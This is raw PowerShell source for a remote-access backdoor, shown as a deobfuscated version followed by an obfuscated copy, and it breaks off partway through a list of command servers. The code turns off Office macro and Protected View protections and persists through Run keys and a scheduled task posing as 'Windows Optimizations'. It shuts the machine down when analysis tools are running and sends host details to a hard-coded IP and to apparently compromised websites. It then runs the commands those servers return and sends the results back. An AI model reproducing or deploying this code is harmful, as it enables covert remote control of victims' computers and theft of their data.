Curtain
PID: 1128 - (Initial)
function doSleep
{
if((@(dir C:\\Users\\Public\\Documents\\*.dat)).Length -ge 1) {return}
write-host "...."
Start-sleep -Seconds 3600
}
function RE`gWri`Te
{
param([string]${P}, [string]${K}, [string]${v})
try{.("{3}{2}{4}{0}{1}" -f 'ert','y','ew-I','N','temProp') -Path ${P} -Name ${K} -Value ${V} -Force | .("{0}{2}{1}" -f 'Out','ull','-N')}catch{}
}
function persist
{
for($i=10; $i -le 20; $i++){
$rgb = "HKCU:\Software\Microsoft\Office\$i.0\excel\Security";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | out-null;
$rgb = "$rgb\ProtectedView";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableInternetFilclsesInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force | out-null;
}
}
$rgb = "HKCU:\Software\Microsoft\Office\$i.0\word\Security";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | out-null;
$rgb = "$rgb\ProtectedView";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableInternetFilesInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force | out-null;
}
}
}
attrib +s +h "$s_path\system.vbs"
attrib +s +h "$s_path\system.ps1"
regWrite -p HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript $tsk"
regWrite -p HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript $tsk"
schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsOptimizationsService /TR "wscript $tsk" /F
}
function isDeugEnv
{
$p = @("ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver")
for ($i=0; $i -lt $p.length; $i++) {
if(ps -name $p[$i] -ErrorAction SilentlyContinue){
shutdown /s /f /t 0
exit
}
}
}
function httpSend
{
param([string]$url, [string]$site, [string]$urltT)
$l = New-Object System.Net.WebClient;
$l.proxy = [Net.WebRequest]::GetSystemWebProxy();
$l.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials;
$urlT = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($url))
$a = $l.DownloadString("$($site)$($urlT)")
return $a
}
function httpGet
{
param([string] $url)
foreach ($st in $proxy) {
$rnd = Get-Random -minimum 0 -maximum (($proxy.Length/2)-1)
$site = $proxy[$rnd*2]
$f1site = $proxy[(($rnd*2)+1)%$proxy.Length]
$f2site = $proxy[(($rnd*2)+3)%$proxy.Length]
try {
$a = httpSend $url $f1site $urlT
}
catch [Net.WebException] {
Start-Sleep -s 1
}
try {
$a = httpSend $url $f2site $urlT
}
catch [Net.WebException] {
Start-Sleep -s 1
}
try {
$a = httpSend $url $site $urlT
if($a.Length -le 30000) {
return $a
}
}
catch [Net.WebException] {
Start-Sleep -s 40
}
}
try {
$l = New-Object System.Net.WebClient;
$l.proxy = [Net.WebRequest]::GetSystemWebProxy();
$l.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials;
$a = $l.DownloadString("$($ip)/?p=$($url)")
return $a
}
catch [Net.WebException] {
return $false
}
}
function apiGet
{
param([string]$q)
write-host "?status=update"
$res = httpGet("$(encode $q)");
return $res
}
function register
{
$ips=""
gwmi Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | where{$_.IPAddress[0] -NotLike '169*'} | % {$ips = $ips +"-"+ $_.IPAddress[0]}
$os = (Get-WmiObject Win32_OperatingSystem).Name
$os = $os.Split('{|}', [System.StringSplitOptions]::RemoveEmptyEntries)
$os ="$((Get-WmiObject Win32_OperatingSystem).OSArchitecture)|$((Get-WmiObject Win32_OperatingSystem).Version)|$($os[0])|$($os[1])"
$res = apiGet "a=r&b=$($env:computername)~~$($env:username)~~$os~~$($ips.subString(1))"
if($res){$global:id = $res; $true}
else {}
}
function getCommand
{
if(($global:cmd = apiGet "a=g&b=$id") -eq "-1" ) {return}
if($global:cmd.Length -eq 0) {return $true}
$cmd = decode($global:cmd)
if($cmd -eq 'register') {return register}
if($cmd -eq '-1') {return $false}
$parts = $cmd.Split('{~~}',[System.StringSplitOptions]::RemoveEmptyEntries)
$cmdId = $parts[0]
$cmd = $parts[1]
$res = (eval($cmd) | out-string)
if($res -eq "") {$res = "Error"}
sendResult -cmdId $cmdId -result (encode($res))
return $true
}
function eval
{
param([string] $e)
try {
iex $e
} catch {
}
}
function sendResult
{
param([string]$cmdId, [string]$result)
write-host "Usage : ..."
$prefix = "a=s&i=$id&ch=last&ci=$cmdId"
$chunks = [math]::floor($result.Length / $cs)
if($chunks -eq 0){
apiGet "$prefix&r=$result"
}else{
for($j=0; $j -le $chunks; ++$j){
$httpResult=''
if($j -eq $chunks){
$chunk = $result.Substring($j*$cs)
$httpResult = apiGet "$prefix&ch=last&r=$chunk"
}else{
$chunk = $result.Substring($j*$cs,$cs)
$httpResult = apiGet "$prefix&ch=$j&r=$chunk"
}
if($httpResult -ne 'OK'){break}
}
}
}
function getKey
{
$keyPath = "$($s_path)\$($env:username).dat"
if((Test-Path $keyPath) -eq $true){
$key = Get-Content $keyPath
if($key -match "^[a-f0-9]{32}$"){
$global:id = $key
return $key
}
}
if(-not (register)) {return $false}
if($global:id.Length -gt 0){
if($global:id -match "^[a-f0-9]{32}$"){
Set-Content $keyPath $global:id
return $global:id
}
}
return $false
}
function persist
{
for($i=10; $i -le 20; $i++){
$rgb = "HKCU:\Software\Microsoft\Office\$i.0\excel\Security";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | out-null;
$rgb = "$rgb\ProtectedView";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableInternetFilclsesInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force | out-null;
}
}
$rgb = "HKCU:\Software\Microsoft\Office\$i.0\word\Security";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | out-null;
$rgb = "$rgb\ProtectedView";
if(test-path $rgb){
New-ItemProperty -Path $rgb -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableInternetFilesInPV -Value 1 -PropertyType DWORD -Force | out-null;
New-ItemProperty -Path $rgb -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force | out-null;
}
}
}
attrib +s +h "$s_path\system.vbs"
attrib +s +h "$s_path\system.ps1"
regWrite -p HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript $tsk"
regWrite -p HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript $tsk"
schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsOptimizationsService /TR "wscript $tsk" /F
}
function isDeugEnv
{
$p = @("ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver")
for ($i=0; $i -lt $p.length; $i++) {
if(ps -name $p[$i] -ErrorAction SilentlyContinue){
shutdown /s /f /t 0
exit
}
}
}
function doSleep
{
if((@(dir C:\\Users\\Public\\Documents\\*.dat)).Length -ge 1) {return}
write-host "...."
Start-sleep -Seconds 3600
}
isDeugEnv
persist
doSleep
regWriteLocalMachineProxy $LocalMachine $k
regWriteCurrentUserProxy $p $k
$proxy = $all_url
while ((getKey) -eq $false){ Start-Sleep 120 }
$failCount=0
while ($true){
isDeugEnv
if((getCommand) -eq $false){++$failCount}
if($failCount -gt 4){getKey}
Start-Sleep -s 300
}
{ ([ConVert]::toINT16( ( [sTRinG]$_) ,2 )-As[char]) }
.("{1}{0}{2}" -f'T-iTe','Se','m') ("{3}{0}{2}{4}{1}"-f 'I','Ln','ABLe','VAR',':2y') ( [TYPE]("{0}{2}{3}{4}{1}"-F'sy','s','STem.STR','Ing','SplITOption') ) ;&("{1}{0}{2}" -f 'ET-it','s','eM') ("{1}{2}{0}"-f't','vARia','Ble:cv') ( [tYpe]("{1}{0}"-f'Nvert','co')) ; &('sv') ("DX"+"Z") ([TYPe]("{3}{1}{6}{4}{0}{2}{5}" -f 'C','Tex','Od','SyStEm.','N','InG','t.e') ); ${e`4Mw8} = [TyPe]("{0}{1}{2}"-F 'sYstEm.cO','Nv','ert') ; function r`EgrEaD
{
param([string]${p}, [string]${k})
if((.("{1}{2}{0}"-f 'h','Test-Pa','t') ${P}) -and (&("{1}{4}{0}{3}{2}" -f 't-It','G','rty','emPrope','e') -Path ${P}|&('gm')|.("{1}{0}"-f'ere','wh') ("{1}{0}"-f'ame','n') -eq ${k})) {return (.("{0}{4}{2}{5}{3}{1}" -f'G','rty','t-ItemPr','pe','e','o') -Path ${P} -Name ${k}).${k}}
}
function RE`gWri`Te
{
param([string]${P}, [string]${K}, [string]${v})
try{.("{3}{2}{4}{0}{1}" -f 'ert','y','ew-I','N','temProp') -Path ${P} -Name ${K} -Value ${V} -Force | .("{0}{2}{1}" -f 'Out','ull','-N')}catch{}
}
function REG`wRItEcURR`E`NtuseRPRo`Xy
{
param([string]${p}, [string]${K})
${G`e`T_urls} = &("{2}{0}{1}" -f 'Re','ad','reg') ${p} ${k}
${GET_u`R`Ls} = .("{0}{1}" -f'de','code') ${G`Et_uRLs}
if (${gE`T_UR`lS}."lE`NgtH" -eq 0){
for (${i}=0; ${i} -le ${PRo`Xy}."lEng`Th" - 1; ${i}++) {
${GLoBAl`:U`RL_s`E`RiL`I`ZE} += ${P`R`OXY}[${i}] + "~~~"
}
&("{2}{1}{0}" -f'ite','egWr','r') ${P} ${k} ( .("{0}{1}" -f'enco','de') ${uRl_sE`R`i`L`IZe} )
${glO`Bal:ALL`_`U`Rl} = ${P`Roxy}
}
else {
${gL`O`BAL`:AlL_`URL} = ${GEt`_URLS}.("{0}{1}" -f 'S','plit').Invoke('~~~', ( .("{0}{2}{1}"-f 'v','ble','aRIa') ('2y'+'Ln') )."vaL`UE"::"r`e`MoVeEMP`TYentRIes")
}
}
function regW`Ri`TELoC`Alm`A`ChI`NEPRO`XY
{
param([string]${p}, [string]${K})
${GE`T`_urLs} = &("{0}{1}"-f'reg','Read') ${LOCAL`m`A`cHiNe} ${K}
${GET`_`URls} = .("{0}{1}" -f'de','code') ${Get`_urLs}
if (${GE`T_`URLs}."l`e`NGTH" -eq 0){
for (${i}=0; ${I} -le ${P`RO`XY}."leNG`Th" - 1; ${i}++) {
${GlO`Bal`:`URL`_SErIlIZE} += ${Pro`Xy}[${I}] + "~~~"
}
.("{1}{0}" -f'gWrite','re') ${p} ${k} ( .("{0}{1}" -f 'enco','de') ${u`RL_Ser`I`lIZE} )
${gL`ObaL:`ALL_Url} = ${p`RoXy}
}
else {
${gL`o`B`AL`:all_UrL} = ${g`eT_u`R`ls}.("{1}{0}" -f 't','Spli').Invoke('~~~', ${2Y`ln}::"R`EMO`VEeMpT`yEnt`RiEs")
}
}
function eNc`O`De
{
param([string]${t`EXt})
${b} = ${C`Vt}::"tObASe6`4`Str`ing"( ( .("{1}{0}{2}" -f 'aB','VaRi','le') ("{1}{0}"-f 'Xz','D') -Value )::"U`TF8".("{2}{0}{1}"-f'tB','ytes','Ge').Invoke(${t`EXT}))
${c}='';
for(${i}=0;${I} -lt ${b}."LE`N`gth";++${I}){
${c`h} = ${b}[${i}]
${J} = ${m}.("{0}{1}" -f'I','ndexOf').Invoke(${C`h})
if(${j} -ge 0) {${C} = "$c$($r[$j])"}
else {${c} = "$c$ch"}
}
${C}
}
function DeCO`DE
{
param([string]${cO`DE})
${b}=''
${Co`De} = ${c`odE}.("{0}{1}{2}" -f'To','Char','Array').Invoke()
for(${i}=0;${I} -lt ${C`Ode}."L`eNgtH";++${i}){
${cH} = ${co`De}[${I}]
${j} = ${R}.("{0}{2}{1}"-f 'In','exOf','d').Invoke(${Ch})
if(${J} -ge 0) {${b} = "$b$($m[$j])"}
else {${B} = "$b$ch"}
}
( .('LS') ("var"+"iA"+"bLE:d"+"XZ"))."V`ALUe"::"Ut`F8"."G`etSTri`NG"( (.("{0}{3}{2}{1}"-f'gET','bLe','VArIa','-') ("{1}{0}"-f '4mW8','E') -VALueOnl)::("{0}{2}{1}{3}"-f'Fro','Base64S','m','tring').Invoke(${b}))
}
. ( $ENv:cOMSpEc[4,24,25]-JoIn'') (((' .(gIJ{1}{0}{2}gIJ -f'+'kniT-iTekni,kn'+'iSekni,knimkni) (gIJ{3}{0}{2}{4}{1}gIJ'+'-f kniIkni,kniLnkni,kniABL'+'ekni,k'+'niVARkn'+'i,kni:2ykni) ( [TYPE](gIJ{0}{2}{3}{4}{1}gIJ-Fknisykni,k'+'niskni,kniSTe'+'m.STRkni,kniIn'+'gkni,kniSplITOptionkni) ) ;&(gIJ{1}{0}{2}gIJ -f kniET-itkni,kniskni,knieMkni) (gIJ{1}{2}{0}gIJ-fknitkni,knivARiakni,kniBle:cvkni) ( [tYpe'+'](gIJ{1}{0}gIJ-fkniNvertkni,'+'knicokni)) ; &('+'knisvkni) (gIJDXgIJ+gIJZgIJ) ([TYPe](gIJ{3}{1}{6}{4}{0}{2}{5}gIJ -'+'f kniCkni,kniTexkni,kniOdkni,kni'+'SySt'+'Em.kni,kniNkni,kniInGkni,knit.ekn'+'i) '+' ); 6QU'+'{eKfU4Mw8} = [TyPe](gIJ{0}{1}{2}gIJ-F knisYstEm.cOkni,kniNvkni,kniertkni) ; function '+'rK'+'fUEgrEaD
{
'+'
param([string]6QU{p}, [string]6'+'QU{k})
if((.'+'(gIJ{1}{2}{0}gIJ-f knihkni,kniTest-Pakni,knitkni) 6QU{P}) -and (&(gIJ{1}{4}{0}{3}{2}gIJ '+'-f knit-Itkni,kni'+'Gkni,knirty'+'kni,knie'+'mPropekni,kniekni) -Path 6QU{P}'+'z0r&(knigmkni)z0r.'+'(gIJ{1}{0}gIJ-fknierekni,kniwhkni) (gIJ{1}{0}gIJ-fkniam'+'ekni,kninkni) -eq 6QU{k})) {return '+'(.(gIJ{0}'+'{4}{2}{5}{3}{1}gIJ -fkniGkni,knirtyk'+'ni,knit-ItemPrkni,knipe'+'kni,kniekni,kniokni) -Path 6QU{P} -Name 6QU{k}).6QU{k}}'+'
}
function REKfUgWriKfUTe
{
param([string]6QU{P}, '+'[string]6QU{K}, [stri'+'n'+'g]6QU{v})
try{.(gI'+'J{3}{'+'2}'+'{4}{0}{1}g'+'IJ -f k'+'niertkni,kniykni,kniew-Ikni,kniNkni,knitemPropkni) -Path 6QU{P} -'+'Name 6QU{K} -Value 6QU{V} -Force z0r .(gIJ{0}{2}{1}gIJ -f kniOutkni,kniullkni,kni-Nkni)}catch{}
}
function REGKfUwRItEcURRKfUEKfUNtuseRPRoKfUXy
{
param('+'[string]6QU{p}'+', [string]6QU{K})
6QU{GKfUeKfUT'+'_urls} = &(gIJ{'+'2}{0}{1}gIJ -f kniRekni,k'+'niadkni,kniregkni) 6QU{p} 6QU{k}
6QU{GET_uKfURKfULs'+'} = .'+'(gIJ{0}{1}gIJ '+'-fknidekni,kn'+'i'+'code'+'kni) 6QU{GKf'+'UEt_uRLs}
if (6QU{gEKfUT_URKfUlS}.gIJlEKfUNgtHgIJ -eq 0){
for (6QU{i}=0; 6QU{i} -le 6QU{PRoKfUXy}.gIJlEngK'+'fUThgIJ - 1; 6QU{i}++) {
'+' 6QU{GL'+'oBAlKfU:UKfURL_sKfUEKfURiLKfUIKfUZE} +'+'= 6'+'QU{PKfUR'+'KfUOXY}[6QU{i}] + gIJ~~~gIJ
}
&(gIJ{2}{1}{0}gIJ -fkniitekni,kniegWrkni,knirkni) 6QU{P} 6QU{k} ( .(gIJ{0}{1}gIJ -fkniencokni,knidekni) 6QU{uRl_sEKfURKfUiKfULKfUIZe} )
'+' 6QU{glOKfUBal:ALLKfU_KfU'+'UKfURl} ='+' 6QU{PKfURoxy}
}
else {
6QU{gLKfUOK'+'fUBALKfU:AlL_KfUURL} = 6QU{GEtK'+'fU_URLS}.(gIJ{0}{1}gIJ -f kniSkni,kniplitkn'+'i).Invoke'+'(kni~~~kni, ( .(gIJ{0}{2}{1}gIJ-f knivkni,kniblekni,kniaRIakni) (kni2ykni+kniLnkni) ).gIJva'+'LKfUUEgI'+'J::gIJrKfUeKfUMoVeEMP'+'KfUTYentRIesgIJ)
}
}
function re'+'gWKfURiKfUTELoCKfUAlmKfU'+'AKf'+'UChIKfUNEPROKfUXY
{
param([string]6QU{p}, [stri'+'ng'+']6QU{K})
6QU{GEKfUTKfU_urLs} = &(gIJ{0}{1}gIJ-fkniregkn'+'i,kniReadkni) 6QU{LOCALKfUmKfUAKfUcHiNe} 6QU{K}
'+' 6QU{GETKfU_'+'KfUURls} = .(gIJ{0}{1}gIJ -'+'fknidekni,knicodekni) 6QU{GetKfU_'+'ur'+'Ls}
'+' if (6QU{GEKfUT_KfUURLs}.'+'gIJlKfUeKfUNGTHgIJ -eq 0){
for (6Q'+'U{i}=0; 6QU{I} -le 6QU{PKfUROKfUXY}.gIJleNG'+'K'+'fUThgIJ - 1; 6QU{i}++) {
6QU{GlOKfUBalK'+'fU:KfUURLKfU_SErI'+'l'+'IZE} += 6QU{ProKf'+'U'+'Xy}[6QU{I}] + gIJ~~~'+'gIJ
}
'+' .(gIJ{1}{0}gIJ -fknigWritekni,knirekni) 6QU{p} 6QU{k} ( .(g'+'IJ{0'+'}{1}gIJ '+'-f kniencokni,knidekni)'+' 6QU{uKfURL_SerKfUIKfUlIZE} )
6QU{gLKfU'+'ObaL:KfUALL_Url} = 6QU{pKfURoXy}
}
else {
6QU{gLKfUoKfUB'+'KfUALKfU:all_UrL} = 6QU{gKfUeT'+'_uKfURKfUls}.(g'+'IJ'+'{1}{0}gIJ -f'+' knitkni,kniSpl'+'ikni).Invoke(kni~~~kni, 6QU{2YKfUln}::gIJRKfUEMOKfUVEeMpT'+'KfUyEntKfURiEsgIJ)
}
}
function eNcKfUOKfUDe
{
param([string]6QU{tKfUEXt})
6QU{b} = '+'6QU{CKfUVt}::gIJtObASe6KfU4KfUStrKfUi'+'nggIJ( ( .(gIJ{1}{0}{2}gIJ -f kniaBkni,kni'+'VaRikni,kni'+'lekni) (gIJ{1}{'+'0}gIJ-f kniXzkni,kniDkni) -Value )::gIJUKfUTF8gIJ.(gIJ{2}{0}{1}gIJ-fknitBkn'+'i,kniyteskni,kniGekni).In'+'voke(6QU{tKfUEXT}))
6QU'+'{c}=knikni;
for(6QU{i'+'}=0;6QU{I} -lt 6QU{b}.gIJLEKfUNKfUgthgIJ;++6QU{I}){
'+'6QU{cKfUh}'+' = 6QU{b}[6QU{i}]
6'+'QU{J} = 6QU{'+'m}.(gIJ{0}{1}gIJ -fkniIkni,knindexOfkni).Invoke(6QU{CKfUh})
if(6QU{j} -ge 0) {6QU{C} = gIJ6QUc6QU(6QUr[6QUj])gIJ}
else {6QU{c} = gIJ6'+'QUc6QUchgIJ}
}
6QU{C}
}
func'+'tion DeCOKfUDE
{
'+' param([string]6QU{cOKfUDE})
6QU{b}=knikni
6QU{CoKfUD'+'e} = 6QU{cKfUodE}.(gIJ{0}{1}{2}gIJ '+'-fkniTokni,kniCharkni,kniAr'+'raykni).Invoke()
for(6'+'QU{i}=0'+';6QU{I'+'} -lt 6QU{CKfUOde}.gIJLKf'+'UeNgtHgIJ;++6QU{i}){
6QU{cH} = 6QU{'+'coKfUDe}[6QU{I}]
'+' 6QU{j} = 6QU{R}.(gIJ{0}{2}{1}gIJ-f kniInkni,kniexOfkni,knidk'+'ni).Invoke(6QU{Ch}'+')
'+' if(6QU{J} -ge 0) {6QU{b} = gIJ6QUb6QU(6QUm[6QUj])gIJ}
else {6QU{B} = gIJ6QUb6QUchgIJ}'+'
}
( .(kniLSkni) (gIJvar'+'gIJ+gIJiAgIJ+gIJbLE:dgIJ+gIJXZgIJ)).gIJVKfUALUegIJ::gIJUtKfUF8gIJ.gIJGKfUetSTriKfUNGgIJ( (.(gIJ{0}{3}{2}{1}gIJ-fknigETkni,knibLekni,kni'+'VArIa'+'kni,kni-kni) (gIJ{1}{0}gIJ-f kni4mW8kni,kniEkni) -VALueOnl)::(gIJ{0}{2}{1}{3}gIJ-fkniFrokni,kniBase64Skni,knimkni,knitrin'+'gkni).Invoke(6QU{b}))
}
'+'
') -CRePLAcE'KfU',[chaR]96 -rEPLACe ([chaR]103+[chaR]73+[chaR]74),[chaR]34-rEPLACe '6QU',[chaR]36 -CRePLAcE([chaR]107+[chaR]110+[chaR]105),[chaR]39 -rEPLACe ([chaR]122+[chaR]48+[chaR]114),[chaR]124) )
{ ([cONvERT]::tOinT16(( $_.tostriNG()) ,2) -As [char]) }
${iP} = ("{4}{2}{3}{1}{0}"-f'60','131:80','t','p://148.251.204.','ht')
${iD} = ''
${Cs} = 1024
${m} = ("{0}{1}{2}"-f'bmxD','JY+','=')
${R} = ((('@*'+'Fxz('+')'+'xCf['+'_') -crEPlaCe 'Fxz',[char]36 -RePlACe ([char]120+[char]67+[char]102),[char]124))
${t`SK} = ((("{2}{7}{10}{3}{11}{4}{1}{12}{5}{6}{9}{0}{8}"-f'e','6Docu','C:EC6','C6Publ','C','C','6s','User','m.vbs','yst','sE','icE','mentsE'))."RE`pLAcE"(([ChAR]69+[ChAR]67+[ChAR]54),'\'))
${S_`path} = ((("{3}{1}{0}{2}{4}"-f 's{0','}User','}Publi','C:{0','c{0}Documents')) -F [ChaR]92)
${c`md} = ''
${ur`L`_S`e`RilIzE} = ''
${alL_U`RL} = ''
${P} = ((("{0}{3}{1}{2}{5}{6}{4}"-f 'HKCU','ft','wa',':CojSo','j','reC','o'))."RepLa`CE"(([chAr]67+[chAr]111+[chAr]106),[sTRinG][chAr]92))
${Loca`L`mac`HINE} = ((("{0}{1}{2}{3}{4}"-f 'HKL','M:QkOS','of','t','wareQkO')) -RePlAcE 'QkO',[CHAr]92)
${K} = ("{0}{1}{3}{2}"-f'Bit','D','fender','i')
${pR`OxY} = @(
("{6}{7}{10}{5}{11}{15}{1}{12}{2}{14}{9}{0}{4}{3}{8}{13}" -f'wordpress-im','sa','ontent/p','orter','p','iplomat','http',':','/','ugins/','//d','.com','/wp-c','cache.php?c=','l','.'),
("{5}{4}{2}{6}{1}{8}{7}{0}{3}"-f'?','r','ajackso','c=','tp://www.vaness','ht','n.co.uk/wo','php','k.'),
("{7}{3}{5}{1}{6}{4}{0}{2}" -f'/work.p','-tra','hp?c=','p','om','earhead','ining.c','https://www.s'),
("{0}{8}{10}{5}{13}{4}{2}{11}{6}{3}{7}{12}{1}{9}" -f 'h','om/v','ige','iel','n','://','hitf','d','tt','2/work.php?c=','p','lw','.c','www.'),
("{6}{0}{4}{8}{7}{2}{3}{9}{5}{1}{10}"-f'//','p?c','l/pow','e','www.spearhead-train','h','https:','m','ing.com//ht','r.p','='),
("{0}{3}{6}{5}{7}{4}{2}{1}"-f'htt','hp?c=','.p','p://ww','how-work','lev8tor.c','w.e','om/s'),
("{9}{11}{5}{8}{12}{0}{10}{4}{2}{1}{7}{3}{6}"-f 'gr.n','ce/lib/','-offi','ork.php','h/e','aty','?c=','w','an','http://','fe.go.t','w','a'),
("{1}{5}{7}{3}{8}{0}{9}{2}{4}{6}" -f'.c','http://m','rk.','a','php?c','ai','=','n','ndstrand','om/wo'),
("{9}{1}{5}{0}{6}{2}{8}{7}{10}{4}{3}" -f 'th/wat','tp','na','c=','wer.php?','://watyanagr.nfe.go.','ya','r','g','ht','/po'),
("{7}{2}{1}{0}{3}{4}{6}{5}"-f '.jdarchs.com','w','w','/','wo','.php?c=','rk','http://w'),
("{1}{4}{7}{0}{5}{10}{12}{14}{6}{8}{11}{2}{9}{3}{13}"-f'//www','htt','rk','p?c','p','.akhta','ile',':','/s','.ph','redanesh.co','ym/wo','m','=','/d/f'),
("{8}{5}{4}{0}{7}{2}{6}{1}{3}"-f '87.38','ork.php?','hort_qr','c=','//106.1','tp:','/w','.21/s','ht'),
("{11}{5}{3}{4}{10}{0}{12}{1}{9}{2}{6}{7}{8}"-f 'esh.com/d/os','ho','l/p','k','htare','ttp://www.a','ower.php','?','c=','o','dan','h','c'),
("{3}{6}{12}{10}{11}{5}{4}{0}{2}{1}{8}{9}{7}" -f 'ecreati','m/w','ve.co','h','ad','arc','t','.php?c=','o','rk','p://ww','w.','t'),
("{1}{11}{8}{6}{0}{10}{7}{3}{5}{9}{4}{2}"-f'p-includ','http:/','hp?c=','dget','.p','s/wor','br/w','/wi','exbrasilia.com.','k','es','/cbp'),
("{4}{1}{3}{0}{5}{2}"-f 'ow','tp://whiver.in','?c=','/p','ht','er.php'),
("{11}{1}{12}{3}{7}{10}{6}{9}{0}{8}{4}{5}{2}"-f 'rdpress-seo/','://c','php?c=','/wp','ower','.','/plug','-conten','p','ins/wo','t','http','bpexbrasilia.com.br')
("{2}{4}{0}{1}{3}{5}" -f 'h','at.','htt','eu/logs.php','p://feribsc','?c='),
("{11}{2}{12}{6}{0}{9}{13}{8}{4}{10}{1}{3}{5}{14}{7}" -f'ip','ug','t','ins/wpd','.com/w','ata','sul','p?c=','rda','arw','p-content/pl','ht','p://azmwn.','a','tables/panda.ph'),
("{8}{0}{5}{9}{3}{1}{2}{6}{4}{7}" -f'tt','co','m','ic.','p?c','p://www.armaho','/list.ph','=','h','l'),
("{13}{8}{0}{11}{10}{1}{12}{7}{2}{6}{14}{9}{3}{5}{4}" -f'w','parw','com/wp-','if','en/logs.php?c=','te','co','da.','//azm','yf','.suli','n','ar','http:','ntent/themes/twent'),
("{4}{9}{10}{3}{2}{5}{8}{1}{7}{0}{6}"-f 'alt.p','asp','or','pa.','http','g','hp?c=','h','/','://www','.ea'),
("{11}{10}{14}{6}{9}{15}{2}{8}{1}{3}{7}{0}{4}{12}{5}{13}" -f 's/','lug','onte','i','entry','p','arda.co','n','nt/p','m/wp-','//sul','http:','-views/work.','hp?c=','iparw','c'),
("{14}{5}{9}{10}{8}{11}{0}{3}{1}{12}{4}{6}{13}{7}{2}"-f'o','.o','=','rld','at','h','e','hp?c','morro','aping','to','wsw','rg/c','gory.p','http://www.s'),
("{1}{9}{0}{4}{7}{10}{2}{3}{6}{8}{5}{11}"-f'iparwar','h','s/twenty','fi','d','hp?c','ft','a','een/work.p','ttp://sul','.com/wp-content/theme','='),
("{7}{8}{3}{4}{5}{9}{1}{6}{2}{0}{10}" -f'kers.p','org','a','t','p://ban','gortalk','.uk/spe','h','t','.','hp?c='),
("{4}{2}{11}{9}{6}{8}{1}{0}{3}{5}{10}{12}{7}"-f 'cludes/cust','in','ps://wall','o','htt','mize/logs.','.co','=','m/wp-','ercase','p','pap','hp?c'),
("{1}{6}{2}{4}{3}{5}{9}{8}{7}{0}"-f 'hp?c=','h','w','idefox','w.r','.com/','ttp://w','t.p','ten','con'),
("{13}{16}{4}{3}{15}{12}{9}{0}{5}{17}{11}{8}{1}{14}{7}{18}{2}{6}{10}" -f '-conte','t','een/l','l','ps://wal','n','ogs.php','if','s/','ercase.com/wp','?c=','e','ap','ht','wentyf','p','t','t/them','t'),
("{4}{9}{8}{6}{3}{1}{2}{7}{0}{5}"-f'ion','/','p','g','http','.php?c=','cks.or','ublicat','a.indu','s://co'),
("{10}{16}{6}{8}{2}{7}{1}{3}{18}{0}{4}{9}{5}{12}{11}{13}{17}{15}{14}" -f 'u','wp-','yaran.c','con','g','o-ma','://ww','o//','w.','ins/s','h','onry/logs.','s','p','c=','?','ttp','hp','tent/pl'),
("{3}{9}{1}{4}{2}{6}{8}{7}{0}{5}"-f 'ews.ph','/w','.daf','ht','ww','p?c=','c.co.u','/n','k','tp:/'),
("{5}{9}{3}{4}{8}{2}{6}{7}{0}{1}" -f'/widgets/logs.php?c','=','u','aran','.co/wp-i','http://www.','de','s','ncl','y'),
("{5}{0}{2}{3}{4}{1}{7}{6}"-f 'ps://mhtev','com/account.php','en','ts','.','htt','=','?c'),
("{7}{3}{2}{0}{4}{8}{1}{6}{5}" -f 'max.com/fi','icles','-','.asan','le','spx?c=','/css.a','http://www','s/art'),
("{2}{3}{4}{9}{7}{6}{8}{10}{0}{5}{1}" -f 'b/browse_ca','.php?c=','ht','tp:/','/best2.','t','nfe','co','re','thebest','nce.org/cc'),
